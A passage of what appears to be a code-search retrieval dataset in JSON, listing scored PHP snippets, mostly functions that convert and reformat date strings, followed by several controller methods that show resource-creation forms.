{\n\t\t$arr = explode(\"/\",$arg1);\n\t\treturn $arr[1].\"/\".$arr[2].\"/\".$arr[0];\n\t}", "title": "" }, { "docid": "40225704d0754fe33ee9c4b5a038dbd0", "score": "0.48310858", "text": "function convert_date($date){\n\tlist($date_demande,$heure_demande)=split(\" \",$date);\n\tlist($annee,$mois,$jour)=split(\"-\",$date_demande);\n\tif($jour==\"\")\n\t\treturn $date_demande;\n\telse\n\t\treturn $jour.\"/\".$mois.\"/\".$annee;\n}", "title": "" }, { "docid": "06429e77e23c54380aa072d065c15845", "score": "0.48265523", "text": "function friendlyDate($yyyymmdd) {\n\n $months = [\"\", \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"];\n\n $year = intval(substr($yyyymmdd, 0, 4));\n $month_num = intval(substr($yyyymmdd, 4, 2));\n $month = $months[$month_num];\n $day = intval(substr($yyyymmdd, 6, 2));\n\n if ($day) {\n return \"$day $month $year\";\n }\n\n if ($month) {\n return \"$month $year\";\n }\n\n return $year;\n }", "title": "" }, { "docid": "f86ef922cf18c5a58edee914a4fe5922", "score": "0.4826223", "text": "private function rewriteDate($dateParam)\n {\n if (!empty($dateParam)) {\n $date = DateTime::createFromFormat('Y-m-d', $dateParam);\n return $date->format('Y-m-d');\n } else {\n return '0000-00-00';\n }\n }", "title": "" }, { "docid": "823c143609c03f82ce8c3b762aabb716", "score": "0.48177272", "text": "function excelDateToDate($readDate){\n $phpexcepDate = $readDate-25569; //to offset to Unix epoch\n return strtotime(\"+$phpexcepDate days\", mktime(0,0,0,1,1,1970));\n }", "title": "" }, { "docid": "d9582451b065e4532faf19e36fa41761", "score": "0.48169822", "text": "function mbDateToLocale($date) {\n\treturn preg_replace(\"/(\\d{4})-(\\d{2})-(\\d{2})/\", '$3/$2/$1', $date);\n}", "title": "" }, { "docid": "2f171f9283b16a0df0ae6950c7e8e6ad", "score": "0.48164934", "text": "public static function ToOurDate($date){\n\t\t$datetime = strtotime($date);\n\t\treturn date(\"d. m. Y G:i\", $datetime);\n\t}", "title": "" }, { "docid": "f3f5bb8782497cc231acd0b6a0bd2b97", "score": "0.48091304", "text": "function DateToYear($Date)\n {\n\treturn date(\"Y\", strtotime($Date));\n }", "title": "" }, { "docid": "b8e65da50ffe608947a29734334eeaec", "score": "0.47855473", "text": "function _convertDate($date, $format1, $format2, $delimiterDateFormat, $delimiterDatabaseFormat, $direction){\n if($date == null OR $date == ''){\n return '';\n }\n //robadinha pra funcionar com data gerada automaticamente (campos created e modified)\n if(!strpos($date, '/') && strpos($format1, '/')){\n return $date;\n }\n \n //roubadinha para funcionar o formato mes/ano\n if(strlen($date) == 7) {\n $format1 = substr($format1, 0, 7);\n $format2 = substr($format2, 3, strlen($format2));\n }\n \n $date_array = explode($delimiterDateFormat, $date);\n $format1_array = explode($delimiterDateFormat, $format1);\n $format2_array = explode($delimiterDatabaseFormat, $format2);\n //\n $current_array = array_combine($format1_array, $date_array);\n $new_array = array_combine($format2_array, $date_array);\n foreach($new_array as $key=>$value){\n $new_array[$key] = $current_array[$key];\n }\n\n return implode($delimiterDatabaseFormat, $new_array);\n }", "title": "" }, { "docid": "e86eb4833ba1272444bc135382b1d5c3", "score": "0.47822532", "text": "function ConvertirDate($date){\n\t$annee = substr($date, 6, 4); \n\t$mois = substr($date, 3, 2); \n\t$jour = substr($date, 0, 2); \n\t$date = $annee.'-'.$mois.'-'.$jour;\n\treturn $date;\n}", "title": "" }, { "docid": "0eaab8e6ed298cf458729f76a18e81a1", "score": "0.47617", "text": "public static function toDDMMYYYY($mysqlDate, $glue = '-')\n {\n return date('d' . $glue . 'm' . $glue . 'Y', strtotime($mysqlDate));\n }", "title": "" }, { "docid": "5de11798f20a270ef767cce0db5f8319", "score": "0.4756388", "text": "private function get_converted($sAnyDate)\r\n {\r\n $sInputDate = \"\";\r\n $sAnyDate = trim($sAnyDate);\r\n if($sAnyDate)\r\n {\r\n $sAnyDate = str_replace(\" \",\"\",$sAnyDate);\r\n $cSep = $this->cSeparator;\r\n \r\n if(strstr($sAnyDate,\"/\"))\r\n $cSep = \"/\";\r\n elseif(strstr($sAnyDate,\"-\"))\r\n $cSep = \"-\";\r\n\r\n //si tiene formato hydra\r\n if($cSep)\r\n {\r\n //pr($sAnyDate);\r\n $arDate = explode($cSep,$sAnyDate);\r\n $arDate = $this->get_date_arranged($arDate);\r\n //bug($arDate);die;\r\n $sInputDate = \"{$arDate[\"y\"]}-{$arDate[\"m\"]}-{$arDate[\"d\"]}\";\r\n }\r\n else\r\n $sInputDate = $sAnyDate;\r\n }\r\n return $sInputDate;\r\n }", "title": "" }, { "docid": "82a580b529a5b6e1e6924a0be801da39", "score": "0.47313216", "text": "public static function toYYYYMMDD($mysqlDate, $glue = '-')\n {\n return date('Y' . $glue . 'm' . $glue . 'd', strtotime($mysqlDate));\n }", "title": "" }, { "docid": "eec64f91960c3d1d2c4abf43eb31520a", "score": "0.47224694", "text": "function toDate($Value) {\r\n\t\t$f = $this->DateFormat;\r\n\t\tif (is_callable ( $f )) {\r\n\t\t\treturn $f ( $Value );\r\n\t\t}\r\n\t\treturn date ( $f, $Value );\r\n\t}", "title": "" }, { "docid": "02e3f1ca3dc88a045644b63a72ff68a7", "score": "0.47134578", "text": "static function toDateSortie($_zDatesql,$_bYear = true,$_bDay = false){\n\t\t$_zDatesql = trim($_zDatesql);\n\t\tif(strlen($_zDatesql)>=10 && $_zDatesql!=\"0000-00-00 00:00:00\") {\n\t\t\t$_zDatesql = substr($_zDatesql, 0,10);\n\t\t\t$tD = explode('-',$_zDatesql);\n\t\t\t$zMounth = \"\";\n\t\t\tswitch($tD[1]){\n\t\t\t\tcase '01': $zMounth = \"Janvier\"; break;\n\t\t\t\tcase '02': $zMounth = \"Février\"; break;\n\t\t\t\tcase '03': $zMounth = \"Mars\"; break;\n\t\t\t\tcase '04': $zMounth = \"Avril\"; break;\n\t\t\t\tcase '05': $zMounth = \"Mai\"; break;\n\t\t\t\tcase '06': $zMounth = \"Juin\"; break;\n\t\t\t\tcase '07': $zMounth = \"Juillet\"; break;\n\t\t\t\tcase '08': $zMounth = \"Août\"; break;\n\t\t\t\tcase '09': $zMounth = \"Septembre\"; break;\n\t\t\t\tcase '10': $zMounth = \"Octobre\"; break;\n\t\t\t\tcase '11': $zMounth = \"Novembre\"; break;\n\t\t\t\tcase '12': $zMounth = \"Décembre\"; break;\n\t\t\t}\n\t\t\t$timestamp = mktime(0, 0, 0, $tD[1], $tD[2], $tD[0]);\n\t\t\t$joursem = array('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi');\n\t\t\t$zJour = $joursem[date(\"w\",$timestamp)];\n\t\t\tif(!$_bDay){\n\t\t\t\tif($_bYear){\n\t\t\t\t\t$zDateReghalal = $zJour . \" \" . $tD[2] . \" \" . $zMounth . \" \" . $tD[0];\n\t\t\t\t} else {\n\t\t\t\t\t$zDateReghalal = $zJour . \" \" . $tD[2] . \" \" . $zMounth;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif($_bYear){\n\t\t\t\t\t$zDateReghalal = $tD[2] . \" \" . $zMounth . \" \" . $tD[0];\n\t\t\t\t} else {\n\t\t\t\t\t$zDateReghalal = $tD[2] . \" \" . $zMounth;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $zDateReghalal;\n\t\t}\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "38ace5f15f14984a115785ebadfb3121", "score": "0.47072926", "text": "function DBDate($dtmDate){\n\t\tif($dtmDate == ''){\n\t\t\t$dtmDate = '';\n\t\t}else{\n\t\t\t$year = substr($dtmDate, 6, 4); // returns YYYY\n\t\t\t$month = substr($dtmDate, 3, 2); // returns MM\n\t\t\t$day = substr($dtmDate, 0, 2); // returns DD\n\t\t\t$dtmDate = $year.\"-\".$month.\"-\".$day;\n\t\t}\n\t\treturn $dtmDate;\n\t}", "title": "" }, { "docid": "8cd464f70209e28a72567a606bf4c2d8", "score": "0.469878", "text": "function AusToStandardDate($date) {\n $date = explode('/', $date);\n $d = $date[0];\n $m = $date[1];\n $y = $date[2];\n $formattedDate = \"$y-$m-$d\";\n $standard_date = date($formattedDate);\n\n return $standard_date;\n}", "title": "" }, { "docid": "da51063df1499c5f9167254152e4e7ba", "score": "0.46981382", "text": "public static function ConvertDateToYmd($dateString, $format='d/m/yy'){\n $result = date_parse_from_format($format,$dateString);\n if($result){\n $monthString = $result['month']<10 ? '0'.$result['month'] : $result['month'];\n $dayString = $result['day']<10 ? '0'.$result['day'] : $result['day'];\n return $result['year'].'-'.$monthString.'-'.$dayString;\n }\n }", "title": "" }, { "docid": "91e95febe286162b2550129a0eaddc72", "score": "0.46727008", "text": "function date_convert_to_php($date, $format = \"m-d-Y\")\n{\n $date = date($format, strtotime($date));\n return $date;\n}", "title": "" }, { "docid": "5a8204206b83ef463c3c82374e89fe9c", "score": "0.4664046", "text": "function convertDate2String($inputDate,$dateFormat=1) {\n\tswitch ($dateFormat) {\n\t case 1:\n\t\t\treturn date('F d, Y h:i:s A', strtotime($inputDate));\n\t break;\n\t case 2:\n\t\t\treturn date('F d, Y G:i:s', strtotime($inputDate));\n\t break;\n\t case 3:\n\t\t\treturn date('M d, Y h:i:s A', strtotime($inputDate));\n\t break;\n\t case 4:\n\t\t\treturn date('M d, Y G:i:s', strtotime($inputDate));\n\t break;\n\t}\n}", "title": "" }, { "docid": "2006207503926f4c2aad4c5403ab6f49", "score": "0.46559623", "text": "static function convertir_date_ENG_FR($date_ENG)\n {\n try {\n $date = new DateTime($date_ENG);\n } catch (Exception $e) {\n echo $e->getMessage();\n exit(1);\n }\n return $date->format('d-m-Y');\n }", "title": "" }, { "docid": "014512bc06d0c3667357428432ab9ed8", "score": "0.46504608", "text": "function ConverterDate($date)\n{\n $date_fin = \"\";\n $dia = \"\";\n $mes = \"\";\n $anio = \"\";\n\n $cont = 0;\n $posTemp = 0;\n $leng = strlen($date);\n if( $leng != 0 ){\n for($i = 0; $i < $leng; $i++ ){\n if( strcmp($date[$i],\" \") == 0 ){\n \n if( $cont == 0 ) $dia = substr($date, $posTemp, $i);\n if( $cont == 1 ){ \n $mes = substr($date, $posTemp+1, $i - strlen($dia) - 1 );\n $anio = substr($date, $i+1);\n break;\n }\n\n $cont++;\n $posTemp = $i;\n }\n }\n }\n\n return \"$anio-\".MesStr2Int($mes).\"-$dia\"; \n}", "title": "" }, { "docid": "b6301ea35b0da44addfa46e6bb0abecb", "score": "0.4623368", "text": "function formatDate($date){\n $newDate = date(\"Y/m/d\", strtotime($date));\n return $newDate;\n}", "title": "" }, { "docid": "0f6298197ea7178f1c5b25b0c45f86a5", "score": "0.4618682", "text": "function fixdate($date) {\n\t$timestamp = strtotime($date);\n\tif($timestamp === false) return null;\n\treturn date('Y-m-d', $timestamp);\n}", "title": "" }, { "docid": "df0150f83fe5cdc4e6bfe4929f982761", "score": "0.4615357", "text": "public function fnChangeDateFormat($varNewDate, $varFormat)\n\t{\n\t\tif (strpos($varNewDate,\"-\"))\n\t\t\t$fragDate = explode(\"-\",$varNewDate);\n\t\telse \n\t\t\t$fragDate = explode(\"/\",$varNewDate);\n\t\n\t\t\tif (strlen($fragDate[0]) == 4)\n\t\t\t\t$varNewYear = $fragDate[0];\n\t\t\telse \n\t\t\t\t$varNewDay = $fragDate[0];\n\t\t\t\n\t\t\t$varNewMonth = $fragDate[1];\n\t\t\t\n\t\t\tif (strlen($fragDate[2]) == 4)\n\t\t\t\t$varNewYear = $fragDate[2];\n\t\t\telse \n\t\t\t\t$varNewDay = $fragDate[2];\n\t\t\t\n\t\t\t//$varNewMonth = substr($varNewDate,3,2);\n\t\tif($varFormat == 'YMD')\n\t\t{\n\t\t\treturn $varNewYear.\"/\".$varNewMonth.\"/\".$varNewDay;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*$varNewDay = substr($varNewDate,8,2);\n\t\t\t$varNewMonth = substr($varNewDate,5,2);\n\t\t\t$varNewYear = substr($varNewDate,0,4);*/\n\t\t\treturn $varNewDay.\"/\".$varNewMonth.\"/\".$varNewYear;\n\t\t}\n\t}", "title": "" }, { "docid": "99dbf07b94d3d0af127cd5eae9bcd040", "score": "0.45805037", "text": "function ymdToDmy($ymddate, $needle=\"-\",$bit=0)\r\n\t{\r\n\t\t\r\n\t\tif($bit==1)\r\n\t\t$data=explode(\" \",$ymddate);\r\n\t\telse\r\n\t\t$data[0]=$ymddate;\r\n\t\t\r\n\t\t\r\n\t\t$dat=explode($needle,$data[0]);\r\n\t\t$dmydate=$dat[2].\"/\".$dat[1].\"/\".$dat[0];\r\n\t\t\r\n\t\t\r\n/*\r\n\t\t\r\n\t\t\r\n\t\t$darr = array();\r\n\t\t$darr = split($needle, $ymddate);\r\n\t\tif($darr[0]!=\"0000\") {\r\n\t\t\tif (count($darr) == 3)\r\n\t\t\t\treturn date(\"d/m/Y\", mktime(0,0,0,$darr[1],$darr[2],$darr[0]));\r\n\t\t\telse\r\n\t\t\t\treturn \"01/01/2009\";\r\n\t\t}\r\n*/\r\n\t\treturn $dmydate;\r\n\t}", "title": "" }, { "docid": "55e3b2a2a1a6ce269668f97308fb0e67", "score": "0.45659128", "text": "static function convertir_date_FR_ENG($date_FR)\n {\n try {\n $date = new DateTime($date_FR);\n } catch (Exception $e) {\n echo $e->getMessage();\n exit(1);\n }\n return $date->format('Y-m-d');\n }", "title": "" }, { "docid": "556bbac2e985b87e5a64827b2b855661", "score": "0.45533237", "text": "function mbDateTimeFromAD($dateAD) {\n\treturn preg_replace(\"/(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})\\.0Z/\", '$1-$2-$3 $4:$5:$6', $dateAD);\n}", "title": "" }, { "docid": "33074b01c4f399baef53f05fb4ce5c46", "score": "0.45397055", "text": "function mmddyyyytodatetime($mmddyyyy) {\n\t$darray=explode(\"/\",$mmddyyyy);\n\t$m=$darray[0];\n\t$d=$darray[1];\n\t$y=$darray[2];\n\treturn date(\"Y-m-d H:i:s\",mktime(0,0,0,$m,$d,$y));\n}", "title": "" }, { "docid": "aaf74e038f512fe3568f8b88b833fb3c", "score": "0.45376617", "text": "function adjustWDdate ($WDdate) {\n global $timeFormat,$timeOnlyFormat,$dateOnlyFormat,$WDdateMDY,$DebugMode;\n $d = explode('/',$WDdate);\n if(!isset($d[2])) {$d=explode(\"-\",$WDdate); }\n if(!isset($d[2])) {$d=explode(\".\",$WDdate); }\n if ($d[2] > 70 and $d[2] <= 99) {$d[2] += 1900;} // 2 digit dates 70-99 are 1970-1999\n if ($d[2] < 99) {$d[2] += 2000; } // 2 digit dates (left) are assumed 20xx dates.\n if ($WDdateMDY) {\n $new = sprintf('%04d-%02d-%02d',$d[2],$d[0],$d[1]); // M/D/YYYY -> YYYY-MM-DD\n } else {\n $new = sprintf('%04d-%02d-%02d',$d[2],$d[1],$d[0]); // D/M/YYYY -> YYYY-MM-DD\n }\n \n $r = date($dateOnlyFormat,strtotime($new));\n if ($DebugMode) {\n $r = \"<!-- adjustDate WDdate='$WDdate', WDdateUSA='$WDdateMDY' new='$new' -->\" . $r;\n $r = '<span style=\"color: green;\">' . $r . '</span>'; \n }\n return ($r);\n}", "title": "" }, { "docid": "d9b05de886528750d6b2704c6a20d189", "score": "0.45348337", "text": "function ToDate($Value)\r\n\t{\r\n\t\treturn(date($this->DateFormat,$Value));\r\n\t}", "title": "" }, { "docid": "6fd0158750655016ec6b345b9d39a486", "score": "0.45239395", "text": "function db2cal_date($date) {\n\tif ($date) {\n\t\t$res = explode('-', $date);\n\t\treturn $res[2] . '.' . $res[1] . '.' . $res[0];\n\t} else {\n\t\treturn false;\n\t}\t\n}", "title": "" }, { "docid": "708f960aa9728bd706ff159bd863561c", "score": "0.45146403", "text": "function convertDMYToISODate($in_Date) {\n\n $out_Date = NULL;\n\n if (trim($in_Date <> '')) {\n\n $pos = strpos($in_Date, '/');\n\n if ($pos === false) {\n // no delimiters in date\n $out_Date = substr($in_Date, 4, 4) . \"-\" . substr($in_Date, 2, 2) . \"-\" . substr($in_Date, 0, 2);\n } else {\n // delimiters found in date\n $date = explode('/', $in_Date);\n $out_Date = $date[2] . \"-\" . $date[1] . \"-\" . $date[0];\n }\n }\n\n return $out_Date;\n}", "title": "" }, { "docid": "e5aceb02cf638dfe73434dd4f62512e7", "score": "0.45099866", "text": "function convertDMYToISO($in_Date) {\n\n $out_Date = NULL;\n\n if ($in_Date) {\n $date = explode('/', $in_Date);\n $out_Date = $date[2] . \"-\" . $date[1] . \"-\" . $date[0];\n }\n\n return $out_Date;\n}", "title": "" }, { "docid": "53787f1afe559648a490f5442f0041a5", "score": "0.4508991", "text": "public static function convertiondate($date){\n \n $date = explode(\"/\", $date);\n return $newdate=$date[2].'-'.$date[1].'-'.$date[0];\n }", "title": "" }, { "docid": "5073cb89a5c184ac8610833bd8adedfe", "score": "0.4502238", "text": "function my_date_format($date = null)\n{\n\tif (strpos($date, \"/\")) {\n\t $date = explode(\"/\", $date);\n\t\treturn $date[2] . \"-\" . $date[1] . \"-\" . $date[0];\n\t} \n \n # Converting date to BR standard\n if (strpos($date, \"-\")) {\n\t $date = explode(\"-\", $date);\n\t\treturn $date[2] . \"/\" . $date[1] . \"/\" . $date[0];\n\t}\n}", "title": "" }, { "docid": "a3051272e1959be3384c4074aeaf4b7c", "score": "0.44909436", "text": "function neatlinetime_convert_date($date, $renderYear = null)\n{\n if (empty($renderYear)) {\n $renderYear = neatlinetime_get_option('render_year');\n }\n\n // Check if the date is a single number.\n if (preg_match('/^-?\\d{1,4}$/', $date)) {\n // Normalize the year.\n $date = $date < 0\n ? '-' . str_pad(substr($date, 1), 4, '0', STR_PAD_LEFT)\n : str_pad($date, 4, '0', STR_PAD_LEFT);\n switch ($renderYear) {\n case 'january_1':\n $date_out = $date . '-01-01' . 'T00:00:00+00:00';\n break;\n case 'july_1':\n $date_out = $date . '-07-01' . 'T00:00:00+00:00';\n break;\n case 'december_31':\n $date_out = $date . '-12-31' . 'T00:00:00+00:00';\n break;\n case 'june_30':\n $date_out = $date . '-06-30' . 'T00:00:00+00:00';\n break;\n case 'full_year':\n // Render a year as a range: use neatlinetime_convert_single_date().\n case 'skip':\n default:\n $date_out = false;\n break;\n }\n return $date_out;\n }\n\n $newDate = null;\n try {\n $newDate = new Zend_Date($date, Zend_Date::ISO_8601);\n } catch (Exception $e) {\n try {\n $newDate = new Zend_Date($date);\n } catch (Exception $e) {\n }\n }\n\n if (is_null($newDate)) {\n $date_out = false;\n } else {\n $date_out = $newDate->get('c');\n $date_out = preg_replace('/^(-?)(\\d{3}-)/', '${1}0\\2', $date_out);\n $date_out = preg_replace('/^(-?)(\\d{2}-)/', '${1}00\\2', $date_out);\n $date_out = preg_replace('/^(-?)(\\d{1}-)/', '${1}000\\2', $date_out);\n }\n return $date_out;\n}", "title": "" }, { "docid": "d74484ee9fce19243400c249f8b82d49", "score": "0.44898638", "text": "function reformat_date($date, $format){\n// Can be found at http://www.handyphp.com\n// Do not remove this header!\n\n $output = date($format, strtotime($date));\n return $output;\n}", "title": "" }, { "docid": "bb85ce1f340b649613053a651b69bdc5", "score": "0.44897705", "text": "function ConvertDate($sDate, $bTime = false)\n{\n\t$sTime = '';\n\tif($bTime)\n\t{\n\t\t$sTime = substr($sDate, -8);\n\t\t// Kiem tra ngay thang dung dinh dang\n\t\t$TimePatt = '/^(([0-1][0-9])|(2[0-4])):[0-5][0-9]:[0-5][0-9]$/';\n\t\tif(!preg_match($TimePatt, $sTime))\n\t\t{\n\t\t\t//MsgBox1('Gio khong hop le');\n\t\t\treturn('');\n\t\t}\n\t\t$sDate = substr($sDate, 0, 10);\n\t}\n\n\t$DatePatt = '/^\\d{4}-((0[1-9])|(1[0-2]))-((0[1-9]|([1-2][0-9])|3[0-1]))$/';\n\tif(!preg_match($DatePatt, $sDate))\n\t{\n\t\t//MsgBox1('Ngay khong hop le: '.$sDate);\n\t\treturn('');\n\t}\n\n $arrTmp = split(\"-\", $sDate);\n if(count($arrTmp) != 3)\n {\n\t\t//MsgBox1('Ngay khong hop le 1: '.$sDate);\n return(\"\");\n }\n $sReturn = $arrTmp[2].\"/\".$arrTmp[1].\"/\".$arrTmp[0].' '.$sTime;\n return(trim($sReturn));\n}", "title": "" }, { "docid": "36bf7f8c27e3beb02ddccb88578521ce", "score": "0.448565", "text": "public function dateToYYYYMMDD($str, $format = 'dmY')\n {\n $date = $this->cleanDate($str);\n $date = DateTime::createFromFormat($format, $date);\n\n return $date->format('Ymd');\n }", "title": "" }, { "docid": "e75a0831db835b09737c37de750c7ae6", "score": "0.448205", "text": "function funAusDateFormat($strDate)\n{\n\tif( $strDate == '' )\n\t{\n\t\treturn 'not set';\n\t} else {\n\t\treturn date_format(date_create($strDate), 'd M Y');\n\t}\n}", "title": "" }, { "docid": "bc828952dbb2f20d649a51202b048655", "score": "0.44617653", "text": "function covertToSystemDate($date){\r\r\n\t$dateArr=explode(\"-\",$date);\r\r\n\t$newDate=\"\";\r\r\n\tif(in_array(\"\",$dateArr)){\r\r\n\t return $newDate;\r\r\n\t}\r\r\n\tif(count($dateArr)==3){\r\r\n\t return $newDate=$dateArr[2].\"-\".$dateArr[0].\"-\".$dateArr[1];\r\r\n\t}\r\r\n\treturn $newDate;\r\r\n }", "title": "" }, { "docid": "a6ffdb9e7c62d392b42c090590761a5f", "score": "0.44585535", "text": "public function date_convert_db($str){\n\t\t\t// $date = str_replace(\"/\", \"\", $str2);\n\n\t\t\t$pisah = explode('/', $str);\n\t\t\t$arr = array($pisah[2], $pisah[1], $pisah[0]);\n\t\t\t$date = implode('-', $arr);\n\n\t\t\treturn $date;\n\t\t}", "title": "" }, { "docid": "2953d2d20f3bb5eae112aeca27817a8b", "score": "0.4458366", "text": "public static function DDMMYYYYToDate($date, $glue = '-')\n {\n $date = explode($glue, $date);\n return self::create($date[2], $date[1], $date[0]);\n }", "title": "" }, { "docid": "f48314f3255a019ed4245705e0ff5d4a", "score": "0.44557148", "text": "function dmyToymd($dmydate, $needle=\"/\")\r\n\t{\r\n\t\t$darr = array();\r\n\t\t$darr = split($needle, $dmydate);\r\n\t\tif (count($darr) == 3)\r\n\t\treturn date(\"Y-m-d\", mktime(0,0,0,$darr[1],$darr[0],$darr[2]));\r\n\t\telse\r\n\t\t\treturn \"2009-01-01\";\r\n\t}", "title": "" }, { "docid": "bd864e54530d2dd634c96f56512ba7c3", "score": "0.44504562", "text": "function redate($date_str, $format = 'F d, Y', $invalid_str = 'n/a', $accept_1969 = false) {\n\t$ts = is_blank($date_str) ? false : strtotime($date_str);\n\treturn ($ts && ($ts!=-64800 || $accept_1969)) ? date($format, $ts) : $invalid_str;\n}", "title": "" }, { "docid": "04d24679b9d63aa0ece0d969e4e92d08", "score": "0.4447969", "text": "function fdate_ymdtomdy ($date_input) {\n\tif ($date_input != '') {\n\t\t$date=explode(\"-\",trim($date_input));\n\t\treturn $date[1].\"/\".$date[2].\"/\".$date[0]; \n\t} else {\n\t\treturn NULL;\n\t}\n}", "title": "" }, { "docid": "ffbeb7dbd22425f8dcb2fa94bbd52f91", "score": "0.44443172", "text": "private static function strftimeToDateFormat($strfFormat)\n\t{\n\t\treturn self::dateFormatTo($strfFormat, 'date');\n\t}", "title": "" }, { "docid": "3aa4125e33d171571d01196a6d3520ee", "score": "0.4439047", "text": "public function dateToDDMMYYY($str, $format = 'Ymd')\n {\n $date = $this->cleanDate($str);\n $date = DateTime::createFromFormat($format, $date);\n\n return $date->format('dmY');\n }", "title": "" }, { "docid": "03b0a976a157a90758d539ae6b7a5c1b", "score": "0.4414677", "text": "function db_make_safe_date($date) {\n\t$dateparts = explode(\"-\", $date);\n\t$date = (int)$dateparts[0] . \"-\" . str_pad((int)$dateparts[1], 2, \"0\", STR_PAD_LEFT) . \"-\" . str_pad((int)$dateparts[2], 2, \"0\", STR_PAD_LEFT);\n\treturn db_escape_string($date);\n}", "title": "" }, { "docid": "3f8dfaeb712c1fc7ceeebea54df6c809", "score": "0.440254", "text": "static function correctNlDate( $inputDate ) {\n $outputDate = $inputDate;\n $dates = explode( \"-\", $inputDate );\n if ( $dates[1] == \"Okt\" ) {\n $outputDate = $dates[0].\"-Oct-\".$dates[2];\n }\n\tif ( $dates[1] == \"Mei\" ) {\n $outputDate = $dates[0].\"-May-\".$dates[2];\n\t}\n if ( $dates[1] == \"Maa\" ) {\n $outputDate = $dates[0].\"-Mar-\".$dates[2];\n\t}\n\treturn $outputDate;\n }", "title": "" }, { "docid": "fc5a4e0e203747534163fc0461e91836", "score": "0.43908304", "text": "function get_date_from_int($date_int) {\n $year = substr($date_int, 0, 4);\n $month = substr($date_int, 4, 2);\n $day = substr($date_int, 6, 2);\n return $month . '/' . $day . '/' . $year;\n}", "title": "" }, { "docid": "52b773f38e144388ecb328880562d6c3", "score": "0.43855697", "text": "function ParseDate($sDate,$iDateMode)\n{\n\tswitch($iDateMode)\n\t{\n\t\t// International standard: YYYY-MM-DD\n\t\tcase 1:\n\t\t\t$cSeparator = substr($sDate,4,1);\n\t\t\t// Remove separator if it exists\n\t\t\tif (!is_numeric($cSeparator))\n\t\t\t\t$sDate = str_replace($cSeparator,\"\",$sDate);\n\t\t\t$aDate[0] = substr($sDate,0,4);\n\t\t\t$aDate[1] = substr($sDate,4,2);\n\t\t\t$aDate[2] = substr($sDate,6,2);\n\t\t\tbreak;\n\n\t\t// MM-DD-YYYY\n\t\tcase 2:\n\t\t\t$cSeparator = substr($sDate,2,1);\n\t\t\t// Remove separator if it exists\n\t\t\tif (!is_numeric($cSeparator))\n\t\t\t\t$sDate = str_replace($cSeparator,\"\",$sDate);\n\t\t\t$aDate[0] = substr($sDate,4,4);\n\t\t\t$aDate[1] = substr($sDate,0,2);\n\t\t\t$aDate[2] = substr($sDate,2,2);\n\t\t\tbreak;\n\n\t\t// DD-MM-YYYY\n\t\tcase 3:\n\t\t\t$cSeparator = substr($sDate,2,1);\n\t\t\t// Remove separator if it exists\n\t\t\tif (!is_numeric($cSeparator))\n\t\t\t\t$sDate = str_replace($cSeparator,\"\",$sDate);\n\t\t\t$aDate[0] = substr($sDate,4,4);\n\t\t\t$aDate[1] = substr($sDate,2,2);\n\t\t\t$aDate[2] = substr($sDate,0,2);\n\t\t\tbreak;\n\t}\n\treturn $aDate;\n}", "title": "" }, { "docid": "0065e52a090cf33750830be0ddd03809", "score": "0.43833008", "text": "function convert_string_datetime_from_format_to_format($str_date, $from_format = 'd/m/Y H:i:s', $to_format = 'Y-m-d H:i:s')\n {\n $myDateTime = date_create_from_format($from_format, $str_date);\n return date_format($myDateTime, $to_format);\n }", "title": "" }, { "docid": "5ff545582b602dac29c0d9c9b6a7749d", "score": "0.43821776", "text": "Public Function makeDate($date, $days = 0, $mounths = 0, $years = 0) {\r\n $date = explode(\"/\", $date);\r\n return date('d/m/Y', mktime(0, 0, 0, $date[1] + $mounths, $date[0] + $days, $date[2] + $years));\r\n }", "title": "" } ]
06b048169d6000dd8f2954c77b1ec598
Show the form for creating a new resource.
[ { "docid": "92de91214c8c7ed6fdef4e36470783d3", "score": "0.0", "text": "public function create()\n {\n $data['all_country'] = country::lists('name' , 'code');\n return view('admin.coursesAndInstitutes.institutes.create' , $data);\n }", "title": "" } ]
[ { "docid": "cb267e3ebbd54b9945858b4232a6e394", "score": "0.7783007", "text": "public function create()\n {\n return view('admin.resource.create');\n }", "title": "" }, { "docid": "ffef4ac93b8831ae51d698379f4d9c1b", "score": "0.7684431", "text": "public function create()\n\t{\n\t\treturn view('resources.create');\n\t}", "title": "" }, { "docid": "ff6aafdb1355ea23d1a8bd6d152d0539", "score": "0.76023227", "text": "public function create()\n {\n $this->authorize('create', Resource::class);\n\n return view('resources.create');\n }", "title": "" }, { "docid": "c1a53014b3e8009982c57be36ab41329", "score": "0.75934863", "text": "public function create()\n {\n return $this->showForm('create');\n }", "title": "" }, { "docid": "c1bfef22261096ce14c95c47446dff78", "score": "0.7582981", "text": "public function actionCreate() {\n $model = new Resource;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['Resource'])) {\n $model->attributes = $_POST['Resource'];\n if ($model->save())\n $this->redirect(array('view', 'id' => $model->id));\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "2bc399e3e37eaad09b15e38f2a68e11a", "score": "0.75711566", "text": "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "title": "" }, { "docid": "38a11ec3ba36293b95bb60274536cad5", "score": "0.7463617", "text": "public function create()\n {\n $this->render('form');\n }", "title": "" }, { "docid": "f40137ad18991df137990863ff05faa1", "score": "0.734443", "text": "public function newAction()\n {\n $this->addBaseBreadcrumb()->add('Nouveau');\n\n return $this->render($this->getParam('newTemplate'), array(\n 'form' => $this->getFormHandler()->getForm($this->getFormType(), $this->createObject())->createView()\n ));\n }", "title": "" }, { "docid": "e1c4a637db2fd84ef7dabb5b305e9961", "score": "0.7337064", "text": "public function create()\n {\n $resource = $this->resource;\n $resource['action'] = 'Create';\n return view('dashboard.views.'.$this->resources.'.create',compact( 'resource'));\n\n }", "title": "" }, { "docid": "dc0018a36c4c3e57ecd34c9226ac6191", "score": "0.7293148", "text": "function createForm() {\n $this->authorize('update',Recommand::class);\n return view('recommand-create', [\n 'title' => \"{$this->title} : Create\",\n ]);\n }", "title": "" }, { "docid": "9814fd9ae63509e6eb41bf23f7a94615", "score": "0.7279753", "text": "public function create()\n {\n return view('forms.create');\n }", "title": "" }, { "docid": 